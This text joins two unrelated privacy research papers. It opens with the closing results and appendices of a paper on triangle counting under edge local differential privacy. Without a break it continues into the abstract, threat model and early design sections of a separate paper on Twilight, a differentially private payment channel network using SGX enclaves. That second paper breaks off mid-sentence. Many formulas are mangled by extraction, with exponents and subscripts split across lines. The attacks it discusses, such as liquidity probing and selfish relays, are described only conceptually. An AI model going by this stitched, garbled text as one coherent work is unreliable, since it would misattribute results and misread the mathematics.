Figure 11 shows the results for some values of n, where
“emp” represents the first error by empirical estimation and
“Lap” represents the second error by the Laplacian noise. We
observe that the second error rapidly decreases with increase
in n. In addition, the first error of ARRFull4 is much larger
than those of ARROneNS4 and ARRTwoNS4 when n is large.

We also examined the number C4 of 4-cycles as a function
of n. Figure 12 shows the results. We observe that C4 (which
is O(nd3

max)) is quartic in n; e.g., C4 is increased by 24 ≈ 10
and 64 ≈ 103 when n is multiplied by 2 and 6, respectively.
This is because we randomly selected n users from all users
and dmax is almost proportional to n (though dmax� n).

Based on Figures 11 and 12, we can explain Figure 10
as follows. As shown in Section 5.3, the l2 loss of empiri-
cal estimation can be expressed as O(nd3

max), O(nd2
max), and
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O(nd2
max) in ARRFull4, ARROneNS4, and ARRTwoNS4, re-

spectively. The large l2 loss of ARRFull4 is caused by a large
value of C4. The expected l2 loss of the Laplacian noise is
O(∑n

i=1 κ2
i ), which is much smaller than O(nd2

max). Thus, as n
increases, the Laplacian noise becomes relatively very small,
as shown in Figure 11. Consequently, ARROneNS4 provides
the best performance for large n because it addresses the 4-
cycle issue and effectively reduces the global sensitivity. This
explains the results in Figure 10. It is also interesting that
when n ≈ 105, ARRFull4 performs the worst in Gplus and
almost the same as ARROneNS4 in IMDB (see Figure 10).
This is because Gplus is more dense than IMDB and C4 is
much larger in Gplus when n≈ 105, as in Figure 12.

In other words, Figures 10, 11, and 12 are consistent with
our theoretical results in Section 5.3. From these results, we
conclude that ARROneNS4 is effective especially for a large
graph (e.g., n≈ 106) or dense graph (e.g., Gplus) where the
number C4 of 4-cycles is large.

Summary. In summary, our answers to our three research
questions RQ1-3 are as follows. [RQ1]: Our ARROneNS4
achieves almost the smallest estimation error in all cases and
outperforms the other two, especially for a large graph or
dense graph where C4 is large. [RQ2]: Our double clipping
reduces the estimation error by two or three orders of magni-
tude. [RQ3]: Our entire algorithm (ARROneNS4 with double
clipping) dramatically reduces the communication cost, e.g.,
from 6 hours to 8 seconds or less (relative error = 0.21) in
IMDB at a 20 Mbps download rate [7].

Thus, triangle counting under edge LDP is now much more
practical. In Appendix C, we show that the clustering coeffi-
cient can also be accurately estimated using our algorithms.

7 Conclusions

We proposed triangle counting algorithms under edge LDP
with a small estimation error and small communication cost.
We showed that our entire algorithms with the 4-cycle trick
and double clipping dramatically reduce the download cost
of [29], e.g., from 6 hours to 8 seconds or less.

We assumed that each user vi honestly inputs her neighbor
list ai, as in most previous work on LDP. However, recent
studies [17, 20] show that the estimate in LDP can be skewed
by data poisoning attacks. As future work, we would like to
analyze the impact of data poisoning on our algorithms and
develop defenses (e.g., detection) against it.
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A Basic Notations

Table 2 shows the basic notations used in this paper.

B Comparison with One-Round Algorithms

Below we show that one-round triangle counting algorithms
suffer from a prohibitively large estimation error.

First, we note that all of the existing one-round triangle
algorithms in [29,64,65] are inefficient and cannot be directly
applied to a large-scale graph such as Gplus and IMDB in
Section 6. Specifically, in their algorithms, each user vi applies
Warner’s RR to each bit of her neighbor list ai and sends
the noisy neighbor list to the server. Then the server counts
the number of noisy triangles, each of which has three noisy
edges, and estimates f4(G) based on the noisy triangle count.
The noisy graph G′ in the server is dense, and there are O(n3)
noisy triangles in G′. Thus, the time complexity of the existing
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Table 2: Basic notations.
Symbol Description
G = (V,E) Graph with n users V and edges E.
vi i-th user in V (i.e., V = {v1, . . . ,vn}).
dmax Maximum degree of G.
G Set of possible graphs with n users.
f4(G) Triangle count in G.
A = (ai, j) Adjacency matrix.
ai Neighbor list of vi (i.e., i-th row of A).
R i Local randomizer of vi.
Mi Message sent from the server to user vi.
µ Parameter in the ARR.
µ∗ = µ,µ2,µ3 in ARRFull4, ARROneNS4,

and ARRTwoNS4, respectively.
d̃i Noisy degree of user vi.
κi Clipping threshold of user vi.
ε0 Privacy budget for edge clipping.
ε1 Privacy budget for the ARR.
ε2 Privacy budget for the Laplacian noise.
ε Total privacy budget.

one-round algorithms [29, 64, 65] is O(n3). It is also reported
in [29] that when n = 106, the one-round algorithms would
require about 35 years even using a supercomputer, due to the
enormous number of noisy triangles.

Therefore, we evaluated the existing one-round algorithms
by taking the following two steps. First, we evaluate all the
existing algorithms in [29, 64, 65] using small graph datasets
(n = 10000) and show that the algorithm in [29] achieves
the lowest estimation error. Second, we improve the time
complexity of the algorithm in [29] using the ARR (i.e., edge
sampling after Warner’s RR) and compare it with our two-
rounds algorithms using large graph datasets in Section 6.

Small Datasets. We first evaluated the existing algorithms
in [29, 64, 65] using small datasets. For both Gplus and IMDB
in Section 6, we first randomly selected n = 10000 users
from all users and extracted a graph with n users. Then we
evaluated the relative error of the following three algorithms:
(i) RR (biased) [29, 64], (ii) RR (bias-reduced) [65], and (iii)
RR (unbiased) [29]. All of them provide ε-edge LDP.

RR (biased) simply uses the number of noisy triangles in
the noisy graph G′ obtained by Warner’s RR as an estimate of
f4(G). Clearly, it suffers from a very large bias, as G′ is dense.
RR (bias-reduced) reduces this bias by using a noisy degree
sent by each user. However, it introduces some approximation
to estimate f4(G), and consequently, it is not clear whether
the estimate is unbiased. We used the mean of the noisy de-
grees as a representative degree to obtain the optimal privacy
budget allocation (see [65] for details). RR (unbiased) calcu-
lates an unbiased estimate of f4(G) via empirical estimation.
It is proved that the estimate is unbiased [29].

In all of the three algorithms, each user vi obfuscates bits
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Figure 13: Relative error of one-round algorithms for small
datasets (n = 10000).

for smaller user IDs in her neighbor list ai. We averaged the
relative error over 10 runs.

Figure 13 shows the results. RR (bias-reduced) significantly
outperforms RR (biased) and is significantly outperformed by
RR (unbiased). We believe this is caused by the fact that RR
(bias-reduced) introduces some approximation and does not
calculate an unbiased estimate of f4(G).
Large Datasets. Based on Figure 13, we improve the time
complexity of RR (unbiased) using the ARR and compare it
with our two-rounds algorithms in large datasets.

Specifically, RR (unbiased) counts triangles, 2-edges (three
nodes with two edges), 1-edges (three nodes with one edge),
and no-edges (three nodes with no edges) in G′ obtained by
Warner’s RR. Let m3,m2,m1,m0 ∈ Z≥0 be the numbers of
triangles, 2-edges, 1-edges, and no-edges, respectively, after
applying Warner’s RR. RR (unbiased) calculates an unbiased
estimate of f4(G) from these four values. Thus, we improve
RR (unbiased) by using the ARR, which samples each edge
with probability p2 after Warner’s RR, and then calculating
unbiased estimates of m3, m2, m1, and m0.

Let m̂3, m̂2, m̂1, m̂0 ∈ R be the unbiased estimates of m3,
m2, m1, and m0, respectively. Let m∗3,m

∗
2,m

∗
1,m

∗
0 ∈Z≥0 be the

number of triangles, 2-edges, 1-edges, no-edges, respectively,
after applying the ARR. Since the ARR samples each edge
with probability p2, we obtain:

m∗3 = p3
2m̂3

m∗2 = 3p2
2(1− p2)m̂3 + p2

2m̂2

m∗1 = 3p2(1− p2)
2m̂3 +2p2(1− p2)m̂2 + p2m̂1.

By these equations, we obtain:

m̂3 =
m∗3
p3

2
(15)

m̂2 =
m∗2
p2

2
−3(1− p2)m̂3 (16)

m̂1 =
m∗1
p2
−3(1− p2)

2m̂3−2(1− p2)m̂2 (17)

m̂0 =
n(n−1)(n−2)

6 − m̂3− m̂2− m̂1. (18)

Therefore, after applying the ARR to the lower triangular
part of A, the server counts m∗3, m∗2, m∗1, and m∗0 in G′, and
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Figure 14: Relative error of the one-round algorithm ARR
(unbiased) and our three two-rounds algorithms with double
clipping for large datasets (n = 107614 in Gplus, n = 896308
in IMDB).

then calculates the unbiased estimates m̂3, m̂2, m̂1, and m̂0
by (15), (16), (17), and (18), respectively. Finally, the server
estimates f4(G) from m̂3, m̂2, m̂1, and m̂0 in the same way as
RR (unbiased). We denote this algorithm by ARR (unbiased).
The time complexity of ARR (unbiased) is O(µ3n3), where µ
is the ARR parameter.

We compared ARR (unbiased) with our three algorithms
with double clipping using Gplus (n = 107614) and IMDB
(n = 896308). For the sampling probability p2, we set p2 =
10−3 or 10−6. We averaged the relative error over 10 runs.

Figure 14 shows the results, where we set µ∗ = 10−6 or
10−3. In ARR (unbiased), we used µ∗ as the ARR parameter
µ. Thus, we can see how much the relative error is reduced
by introducing an additional round with ARRFull4. Figure 14
shows that the relative error of ARR (unbiased) is prohibitively
large; i.e., relative error� 1. This is because three edges are
noisy in any noisy triangle. The relative error is significantly
reduced by introducing an additional round because only one
edge is noisy in each noisy triangle at the second round.

In summary, one-round algorithms are far from acceptable
in terms of the estimation error for large graphs, and two-
round algorithms such as ours are necessary.

C Clustering Coefficient

Here we evaluate the estimation error of the clustering coeffi-
cient using our algorithms.

We first estimated a triangle count by using our ARRO-
neNS4 with double clipping (ε0 =

ε

10 and ε1 = ε2 =
9ε

20 ) be-
cause it provides the best performance in Figures 7, 8, and
10. Then we estimated a 2-star count by using the one-round
2-star algorithm in [29] with the edge clipping in Section 5.

Specifically, we calculated a noisy degree d̃i of each user
vi by using the edge clipping with the privacy budget ε0.
Then we calculated the number ri ∈ Z≥0 of 2-stars of which
user vi is a center, and added Lap( ∆

ε1
) to ri, where ∆ =

(d̃i
2

)
.

Let r̂i = ri +Lap( ∆

ε1
) be the noisy 2-star of vi. Finally, we

calculated the sum ∑
n
i=1 r̂i as an estimate of the 2-star count.

#triangles #2-stars clustering coefficient
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Figure 15: Relative errors of #triangles, #2-stars, and the
clustering coefficient in ARROneNS4 with double clipping.
CostDL is calculated by (10) (when µ∗ ≥ 0.1, CostDL can be
6 Gbits and 400 Gbits in Gplus and IMDB, respectively).

This 2-star algorithm provides (ε0+ε1)-edge privacy (see [29]
for details). For the privacy budgets ε0 and ε1, we set ε0 =

ε

10
and ε1 =

9ε

10 .
Based on the triangle and 2-star counts, we estimated the

clustering coefficient as 3× f̂4(G)

f̂2?(G)
, where f̂4(G) (resp. f̂2?(G))

is the estimate of the triangle (resp. 2-star) count.
Figure 15 shows the relative errors of the triangle count,

2-star count, and clustering coefficient. Note that the relative
error of the 2-star count is not changed by changing µ∗ because
the 2-star algorithm does not use the ARR. Figure 15 shows
that the relative error of the 2-star count is much smaller than
that of the triangle count. This is because each user can count
her 2-stars locally (whereas she cannot count her triangles), as
described in Section 1. Consequently, the relative error of the
clustering coefficient is almost the same as that of the triangle
count, as the denominator f̂2?(G) in the clustering coefficient
is very accurate.

Note that the clustering coefficient requires the privacy
budgets for calculating both f̂4(G) and f̂2?(G) (in Figure 15,
2ε in total). However, we can accurately calculate f̂2?(G) with
a very small privacy budget, as shown in Figure 15. Thus, we
can accurately estimate the clustering coefficient with almost
the same privacy budget as the triangle count by assigning a
very small privacy budget (e.g., ε = 0.1 or 0.2) for f̂2?(G).

In summary, we can accurately estimate the clustering coef-
ficient as well as the triangle count under edge LDP by using
our ARROneNS4 with double clipping.
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Abstract
Payment channel networks (PCNs) provide a faster and
cheaper alternative to transactions recorded on the blockchain.
Clients can trustlessly establish payment channels with re-
lays by locking coins and then send signed payments that
shift coin balances over the network’s channels. Although
payments are never published, anyone can track a client’s
payment by monitoring changes in coin balances over the
network’s channels [23, 31]. We present Twilight, the first
PCN that provides a rigorous differential privacy guarantee to
its users. Relays in Twilight run a noisy payment processing
mechanism that hides the payments they carry. This mecha-
nism increases the relay’s cost, so Twilight combats selfish
relays that wish to avoid it using a trusted execution environ-
ment (TEE) that ensures they follow its protocol. The TEE
does not store the channel’s state, which minimizes the trusted
computing base. Crucially, Twilight ensures that even if a re-
lay breaks the TEE’s security, it cannot break the integrity of
the PCN. We analyze Twilight in terms of privacy and cost
and study the trade-off between them. We implement Twilight
using Intel’s SGX framework and evaluate its performance
using relays deployed on two continents. We show that a route
consisting of 4 relays handles 820 payments/sec.

1 Introduction

Blockchain systems such as Bitcoin create a public ordered
log of transactions without relying on a trusted party. Instead,
these systems distribute trust among potentially many partici-
pants that connect in a peer-to-peer network. They allow for
fair trading protocols [4] and can reduce friction in financial
markets [17]. Users expect meaningful privacy guarantees
from financial systems, but most blockchains only provide
so-called “pseudo-anonymity”, where actions are associated
with pseudonym addresses rather than the users’ identities.
Several works show that often anyone can link users to their
addresses by analyzing the public information posted on the

∗Both authors contributed equally

blockchain [35,37]. To counter such analysis, researchers pro-
posed systems like ZCash [3], which rely on zero-knowledge
proofs to provide excellent privacy. However, these systems
bear significant performance costs due to their reliance on a
system-wide consensus regarding the transactions’ log.

A promising direction for achieving high-throughput and
low-latency transactions with a meaningful privacy guaran-
tee is connecting users through a payment channel network
(PCN). In a PCN, users create payment channels with relays
by locking coins in joint on-blockchain accounts and use the
blockchain again only to commit the coin distribution when
a channel closes. The relays are interconnected through pay-
ment channels as well. Alice pays an indirectly-connected
Bob by finding a route of channels through the network’s
relays to him and then creating a payment that would move
coins to the first relay, conditioned on a secret that only Bob
knows. Each relay creates a similar payment for the next
hop until Alice’s payment reaches Bob, who reveals the se-
cret. Intuitively, since users neither broadcast payments they
make nor create payment channels with the users they trans-
act, PCNs seem promising for simultaneously addressing the
blockchain’s sclability bottleneck and privacy challenge.

In practice, however, PCNs offer very little privacy [18, 24,
26, 31], much less than users would expect from traditional
payment systems (e.g., governed by banks). Any user can test
whether the liquidity (number of coins available to transact)
on any channel is below a threshold that they choose – merely
by asking to relay a payment on that channel for the threshold
amount. As a result, anyone can learn about changes in each
channel’s liquidity, which leaks all the information about the
network’s payments and creates a privacy risk in practice [23].

We present Twilight, a PCN that hides a user’s payment
history from other users. Twilight provides a strong privacy
guarantee supported by a differential privacy analysis. It mod-
els payments over a channel as queries, and the responses con-
vey whether or not they can go through the channel (i.e., the
channel has sufficient liquidity). Twilight provides payment-
privacy by noising these responses. Instead of carrying a
payment whenever sufficient liquidity exists, the relay rejects
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payments if they would not leave enough liquidity to cover
a randomized “noise” payment. Through this noisy payment
processing mechanism, Twilight ensures that only a small
amount of statistical information about the payments it car-
ries may leak to other users. The key to designing Twilight
is structuring the noise such that the privacy guarantee holds
even if the attacker uses many clients to send queries at a
high rate and observes the responses over a long time. Since
queries are cheap to execute, this property is crucial to pro-
viding a meaningful privacy guarantee. At the same time, it is
important to avoid throttling the rate of queries, which hurts
honest users and lowers the system’s throughput even when
there is no attack. To achieve this, Twilight leverages tech-
niques from the differential privacy literature to reuse noise
values when hiding the same set of payments [11,34]. This al-
lows Twilight to group payments into subsets and mask them
with noise, ensuring that new information about old payments
does not leak to the attacker with every query.

Twilight’s differential privacy approach comes at a cost: it
might block some payments due to the noise that a vanilla
PCN would carry. Relays in Twilight mitigate this issue by
locking extra coins. Of course, a relay can always tear down
the channel and get these coins back but locking coins still
incurs an operational expense. We analyze this trade-off be-
tween privacy and cost, and evaluate a model where users
cover the relay’s expense with payment fees. We quantify
the financial impairment from locking coins and estimate the
payment volume a relay would need to process to cover this
cost by charging fees for its privacy service. For example, a
relay handling a payment volume of 79-coins/day and charges
a 1% fee covers the cost of operating a noisy channel that
hides 1-coin payments (for privacy level ε = 0.15,δ = 10−7,
in differential privacy terms [12]).

Selfish relays may claim to their users that they do noisy
payment processing but attempt to avoid it in practice to save
costs. Twilight addresses this problem by running the noising
logic in a trusted execution environment (TEE), which allows
clients to verify the payment processing logic. We architect
the code operating inside the TEE to avoid keeping the chan-
nels’ state. In particular, it does not keep track of the channel’s
liquidity or payments already processed. Instead, the relay
provides this state every time it calls the TEE to process a
payment. Designing Twilight in this manner minimizes the
trusted computing base inside the TEE but requires handling
two key challenges. First, a relay might inform the TEE that
it has very high liquidity, enough to cover any noise it might
choose. Second, a relay might attempt to eliminate the ef-
fect of noising payments by repeatedly calling the TEE with
the same payment until the TEE adds sufficiently-low noise
to approve it. Twilight handles these challenges by noising
payments on the relay’s incoming channel and encrypting pay-
ments between TEEs until they reach the recipient. A relay
cheating its TEE about the incoming channel’s liquidity only
risks losing coins by accepting payments that the previous

hop cannot cover. Each TEE outputs its noisy payment pro-
cessing result encrypted for the next TEE on the route, so all
of a TEE’s outputs are indistinguishable, and the relay cannot
choose the response it likes. Only when a payment reaches
the recipient, all relays en-route can decrypt the TEE outputs
and update the channel liquidity. Importantly, Twilight does
not rely on TEEs to secure funds. Even if a relay exploits a
vulnerability in the TEE or Twilight’s code that it executes
to learn the TEE’s secrets, all payments Twilight carries are
valid, and the relay cannot steal coins from others.

We implement Twilight and test its performance using ma-
chines in America and Europe with the SGX TEE [9] in Azure.
A route of 4 relays supports 820 payments/sec, and at this
peak rate, the payment latency is 550ms above the network
latency (which is about 510ms in our experiments).

In summary, our contributions are the following:

• A rigorous definition for privacy in PCNs based on dif-
ferential privacy, and the design of Twilight, a PCN that
meets this goal.

• The combination of noising payments inside a TEE to
combat selfish relays.

• An analysis of Twilight’s integrity, privacy and cost.

• An implementation and performance evaluation.

2 A Primer on PCNs

We overview the key concepts and mechanisms that comprise
PCNs as background for describing Twilight.

Payment channels. Two participants establish a bidirec-
tional payment channel by “locking” coins in a joint on-chain
account that requires both parties to approve every spend.
The amount that each participant locks is the channel’s ini-
tial liquidity in the direction of their peer. The locked coins
ensure that payments carried over the channel can always
be redeemed. Alice pays Bob by signing a transaction that
adjusts the split of their account balance (giving more coins
to Bob than he deposited). Bob can counter-sign this trans-
action at any time and redeem his funds by posting it on the
blockchain, which would also close the payment channel. In-
stead, Bob holds the transaction from Alice. He keeps the
channel open to allow them to continue updating the balance
split. A short appeal period begins when either user posts a
transaction that closes the channel. During this time, posting a
transaction with information that proves that the channel was
closed with an obsolete state corrects the account split. In this
manner, the appeal period protects users if their counterpart
closed the channel using an outdated transaction.

Routing payments. A PCN comprises clients that issue
payments and relays that carry these payments between clients
for a fee. Relays and clients connect through payment chan-
nels, allowing Alice to pay Bob even if they are not directly
connected. When two relays establish a channel, they start
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announcing the channel through a peer-to-peer network. Al-
ice’s client finds a route to Bob and onion-encrypts it with the
relays’ public keys. Namely, it encrypts Bob’s identity using
the last relay’s key, concatenates to the ciphertext that relay’s
identity, and encrypts again with the previous relay’s key. It
continues in this fashion for every hop. When a relay receives
a payment, it subtracts a fee from the amount and decrypts
the top layer to find the next hop.

Hash-time-locked contracts (HTLCs). Hash-time-locked
contracts are a mechanism for ensuring that every relay along
a payment’s route that sends coins to the next hop can recover
the funds from the previous hop. Before Alice can pay Bob,
his client chooses a random secret s and gives Alice’s client
h(s), the cryptographic hash of s. Alice’s payment moves
coins to the first relay conditioned on the relay providing s
before a deadline; this condition is called an HTLC. Each
relay creates a similar payment conditioned on the preimage
of h(s), which it sends to the next hop in the route. As soon
as Bob receives the payment, he can potentially post s on the
blockchain and redeem the payment; this would also reveal
s to all the other relays, allowing them to redeem their pay-
ments as well. Typically, however, Bob avoids the on-chain
transaction: his client reveals s to the last relay and asks the
relay to sign a transaction that updates the split in the channel
between them – this time, without conditioning on s. That
relay can then do the same, show s to the previous hop, and
update the previous channel’s split. This way, s propagates
back through the route, updating all channel balances and
eventually reflecting that Alice paid Bob.

3 Overview

Figure 1 shows a PCN connecting three users. The users con-
nect to the PCN via private channels (illustrated by the dashed
links in Figure 1). Their clients reject payments from unau-
thorized origins [36] which mitigates exposing information
about the liquidity on these channels to other users. In this
figure, Alice sends a payment to Bob via two inter-relay chan-
nels. In contrast to the user’s private channels, relay-to-relay
channels are public and any client can route payments over
them. This allows an attacker to probe for changes in channel
liquidity by asking the relay to route payments between his
clients and observe whether the relay rejects his payments
for exceeding the available liquidity. By probing for changes
in liquidity across inter-relay channels, an attacker can track
payments between users in the network [16, 18, 31]. Twilight
is a PCN that hides its users’ payments from attackers probing
inter-relay channels by introducing noise to a relay’s payment
processing logic. It ensures users that relays add this noise by
leveraging a trusted execution environment (TEE). We next
formalize the threat model and Twilight’s goals against it.

Alice

Bob

Charlie

Figure 1: Users connect to relays through private channels
(dashed black line), while inter-relay channels are public
(solid black lines). An attacker sends payment requests be-
tween his clients (in red) to monitor changes in liquidity and
infer about payments between users (in blue).

3.1 Threat model
Before delving into defining Twilight’s threat model and goals,
we discuss different types of potential attackers.

Off-path clients. Today’s PCNs are vulnerable to attacks
by clients: anyone on the Internet can probe payment channels
and learn about others’ payments [23, 31]. This constitutes a
lower standard of privacy compared to traditional financial
systems. Such attacks are easy to launch and difficult to block
since the attacker may send probes via multiple clients and
disguise probes as legitimate payment requests.

On-path selfish relays. Users should know their payment
history is hidden from other clients. In particular, PCNs are
designed as distributed systems that include relays operated
by multiple autonomous organizations. A privacy solution
that involves costs that intermediate relays can shirk (at the
expense of users’ privacy) should ensure that relays follow
the protocol despite these costs.

On-path adversarial relays. Much like other PCNs, Twi-
light uses onion routing for payments (§2), which protects
against network adversaries and malicious relays that only
have one local visibility or presence in the route, so they can
only view the previous or next hop but not the entire route.
However, colluding relays located near the payer and payee
may still track the payment by correlating its time, payout
value, or locked contract’s secret. Such attacks are harder to
launch than those involving only off-path clients: as shown
in [42], the number of relays on the route is small, and since
the payer chooses which route to use, she can avoid relays
that she considers less trustworthy (e.g., operated by less re-
puted organizations). We architect Twilight to provide similar
usability to vanilla PCNs but with better privacy; it, therefore,
does not handle such correlation attacks, since that would
require delaying payments and somehow ensuring that Bob’s
balance changes regardless of Alice’s balance changes (to
break these correlations). Recent works allow decorrelating
the locked contract’s secret [31, 32]; we discuss it in related
work. We believe that techniques from the private communi-
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cation literature, such as Poisson mixing [33], where every
relay delays payments using a randomized mechanism can
address the timing challenge, but hiding correlated changes
in balances remains a challenge. We leave this attacker model
out of Twilight’s scope.

Secrecy of closing balances. Payment channel teardown
involves posting a blockchain transaction stating its closing
balance split (§2). Since anyone watching the blockchain
can observe the channel-close transaction, the privacy that
Twilight can provide depends on the underlying blockchain.
Twilight gives the most privacy when the PCN deploys over a
blockchain that supports private transactions (e.g., using zero-
knowledge proofs [25]). However, the closing transaction
reveals only the aggregate sum of payments over the channel
through its lifetime. In practice, payment channels are open
for a long time [1], so we expect the closing balance to re-
veal very little about a user’s payments. We design Twilight
to be largely-independent of the blockchain choice (except
for requiring smart contract support), and it can deploy over
blockchains with or without support for private transactions.

3.1.1 Twilight’s attacker

Twilight hides a user’s payment history in the face of attackers
who can run any number of the PCN’s clients even if the user
routes her payments through selfish relays. The attacker can
route payments over any inter-relay channel to probe the
available liquidity. These probes are extremely cheap: the
attacker can abort the payments after seeing the response and
avoid the associated fee.

3.2 Goals
Integrity. Twilight should enable private off-chain pay-
ments as a viable and trustless substitute to on-chain payments.
Therefore, it must guarantee that the sequence of all payments
that a channel carries can be committed to the blockchain.
This property must hold even if all relays break the TEE secu-
rity guarantee (i.e., they attest different code than what they
execute and learn all the TEE’s secrets).

Privacy. There are several ways to capture privacy in PCNs.
For one, Twilight could target hiding just the payment amount.
However, in many cases exposing that Alice pays Bob is suffi-
cient to reveal sensitive information. For example, donating to
a political party, no matter what amount, tells Alice’s political
views. Twilight could also ensure that Alice has at least one
“cover story,” making paying Bob appear similar to paying at
least one other user. However, this approach might provide
users with a cover story that does not make sense in practice
(e.g., the alternative payee might be in another continent),
and users might not be aware of the cover story the system
then provides. Instead, Twilight sets an ambitious goal: en-
suring that the attacker’s view through the clients he operates
is likely to be the same regardless of whether Alice makes

Description
µ,σ > 0 mean and standard deviation for Gaussian noise

T number of time-slots (leaves in the tree)
Nt the minimal set of tree nodes covering [0, t−1]
N |Nt | upper bound, N = dlogb Te+b−2

b≥ 2 children per node in tree

Table 1: Symbols of the noisy payment processing mechanism

her payment. In particular, this approach makes Alice paying
Bob look similar to Alice paying any other user. (Since Alice
paying Bob looks similar to not making a payment, which
then looks similar to Alice paying any other user.)

More formally, consider the vector O of the attacker’s ob-
servations (from routing payments between malicious clients)
and two scenarios: one scenario where a user, call her Alice,
pays another user, call him Bob, and the other scenario where
Alice never makes this payment. Twilight’s goal is to provide
(ε,δ)-differential privacy [12] with respect to the two scenar-
ios above. It guarantees that the following inequalities hold
for a small ε≥ 0, except for a small error probability δ≥ 0:

e−εPr[O|X]≤ Pr[O|Alice→ Bob]≤ eεPr[O|X] (1)

The arrow denotes Alice paying Bob, and the X-mark de-
notes the case where she does not make this payment. The
probability is over the coin-tosses in the nosing mechanism.
Differential privacy quantifies the statistical information that
leaks to the attacker. It provides a strong formal guarantee for
the level of privacy users should expect. This privacy guar-
antee holds even for multi-hop payments (payments routed
through several payment channels between Alice and Bob);
we quantify impact of a payment’s path length on its privacy
in terms of ε and δ.

4 Noisy Payment Processing

Twilight protects users against attackers probing inter-relay
links (Figure 1). It provides a strong privacy guarantee, re-
gardless of the attacker’s probing rate, by adapting ideas for
continuous release of information from the differential pri-
vacy literature [11, 12, 28] to the PCN context. The system
splits time into short intervals, arranged in a tree, and models
the attacker’s probes as queries arriving in those intervals.
Twilight cannot distinguish between the attacker’s probes and
real payments so it must respond to both. It protects users’
privacy through noisy payment processing. Twilight noises
the decision whether to carry or drop a payment (the relay’s
response) in a structured way, depending on the interval the
query arrived in [34]. Table 1 summarizes the notations of the
noisy payment processing mechanism described below.
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Time1 2 3 4 5 6 70

$2 $1 $4 Query at time 7. Noisy liquidity: 
 

Figure 2: A channel’s noise tree with T = 23 slots. For node i
in the tree, ni is the noise and τi the sum of payments in its
subtree. The response mechanism for query at time 7 uses the
nodes {0,10,110} ∈ N 7 (circled in red).

4.1 Response mechanism
Twilight divides the lifetime of a channel into T tiny time-
slots. In every slot, at most one request to carry a payment
may arrive. For example, dividing time into nanosecond
slots seems reasonable since payments are over 100B-long
(they include account addresses, a signature, etc.). Even with
100Gbps links, each request takes at least 7 time-slots to re-
ceive. Allocating 264 nanosecond slots supports a channel’s
operation for over 500 years.

Time slots are numbered and arranged in the leaves of
a tree; each node in the tree has a label. Consider a bi-
nary tree, for now. The root has the empty label, and every
node’s left/right child appends ‘0’/‘1’ to the parent’s label.
Figure 2 illustrates this tree structure. The relay assigns every
node i in the tree an independently drawn Gaussian noise,
ni ∈R Gauss(µ,σ2). In addition, node i stores τi, the sum of
all payment amounts over the channel (positive or negative,
depending on the direction) in the time-slots beneath it.

When a payment requesting to move m coins to the chan-
nel’s other endpoint arrives at the relay at time slot t, the relay
finds Nt , the minimal set of nodes in the tree that precisely
covers (i.e., includes the ancestors of) the time slots in the
interval [0, t−1]. (We give the algorithm to find the minimal
covering and prove its correctness in an online technical re-
port [10].) The relay agrees to carry the payment if Equation 2
holds:

channel.Capacity− ∑
i∈Nt

(τi +ni)≥ m (2)

Figure 2 illustrates the response mechanism for a request at
time t = 7. In this example, N 7 = {0,10,110} is the minimal
covering set of nodes for the time slots preceding the query
(slots 0–6). Since Nt is the minimal set of tree-nodes that
covers the interval [0, t−1], ∑i∈Nt τi is the sum of all payment
amounts before time t, so channel.Capacity−∑i∈Nt τi is the
current liquidity. The response in Equation 2 obfuscates it by
subtracting noise, i.e., the aggregate of Gaussians ∑i∈Nt ni.

The tree structure from the differential privacy litera-
ture [11] ensures that for any user payment at time t ′ < t,
there is only one ancestor of the leaf node t ′ in the covering
Nt . Only that ancestor might leak information about user’s
payment (by contributing a different value to the response
mechanism if the user never makes this payment). Since there
are only logT ancestors for any slot, there are only a few tree
nodes that might leak information about a user’s payment
over time (even if the attacker probes often).

Intuitively, the more nodes in Nt , the more noise the pay-
ment processing mechanism subtracts from the channel’s
capacity in Equation 2, and the less accurate the response
becomes. Qardaji et al. [34] optimize privacy and accuracy
using a tree with a higher branching factor. When every node
in the tree branches to b children (Table 1), the size of the cov-
ering set |Nt | ≤ dlogb Te+b−2 (one node from each level in
the tree, except the last level where there may be up to b−1
leaves). We denote this upper bound by N (Table 1). With
T = 264 time slots, using b = 8 results in the minimal number
of nodes in the covering, N = 28 nodes (rather than 64).

If the covering set has less than the maximal N nodes, the
relay “pads” it with dummy nodes, i.e., nodes where τ = 0
and fresh noise is drawn. So, every time a relay responds it
uses the aggregate of N Gaussian random variables as noise.
The reason for padding is that the aggregate is much more
likely to be non-negative than the noise of a single node. We
later use this property to prove Twilight’s integrity (§6).

4.2 Stateless noising
Storing the tree illustrated in Figure 2 is impractical for a
large number of time-slots (e.g., 264). Every node i in the
tree contains two elements: the sum of payment amounts in
the time-slots of its subtree (τi) and an independently drawn
noise (ni). The response mechanism in Equation 2 only uses
the sum of all payment amounts before the request’s time
slot. A relay, therefore, only keeps track of this sum. It also
avoids storing the noise values and instead recomputes them
when they are needed. Specifically, the relay keeps one global
secret s, and for a payment-channel chanID, sets the secret
value of tree node i to be deterministically drawn from the
noise distribution seeded by the hash value h(s,chanID, i).

5 Countering Selfish Relays using TEEs

Users rely on Twilight’s relays for privacy, but how can a payer
trust that the relays she chooses for her payment’s route indeed
perform noisy payment processing (§4)? Moreover, she has
to be convinced that the relays continue to perform noisy
payment processing since the attacker’s future queries may
leak information about her payment. Providing users with this
guarantee is important since relays may try to circumvent the
noising mechanism to avoid rejecting payments they would
otherwise carry and losing the associated fees.
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Figure 3: Protocol messages and relay-to-TEE interface. We
abbreviate incoming/outgoing channel state by in/out state.

Twilight addresses this concern using a trusted execution
environment (TEE) on its relays. TEEs ship with commodity
hardware (e.g., SGX is now standard in Intel’s i9 10th genera-
tion processors [19]); their remote attestation allows clients to
verify the payment processing logic, which relays run inside
an enclave [9]. Each channel is associated with a state that
includes the current balance split between peers, all current
pending payments, and a message serial number (for dispute
resolution). Our design does not require the TEE to keep
track of this state, which minimizes the trusted computing
base and simplifies Twilight’s implementation but introduces
challenges as we describe next. Crucially, Twilight ensures
that even if a rogue relay breaks its TEE and learns its secrets,
the PCN maintains integrity: all payments over the channel
are valid, and the relay cannot steal coins from others.

Challenges. Twilight must force a relay to involve the TEE
in processing payments to ensure it performs noisy payment
processing throughout the channel’s lifetime. Figure 3 illus-
trates how a relay interacts with its TEE. The enclave running
inside the TEE does not store the channel’s state but receives
it from the relay with every payment processing request to
decide whether to approve a payment. This leads to two key
challenges: First, the relay may provide the enclave with in-
correct or outdated states. Specifically, ones in which a high
amount of liquidity is available. Such manipulation can ensure
that the noisy liquidity check in Equation 2 always passes.
The relay may do this selectively, whenever it has sufficient
liquidity to forward the payment and wishes to pass the noisy
check with greater certainty. Second, the TEE cannot remem-
ber which payments it processed, so the relay may invoke the
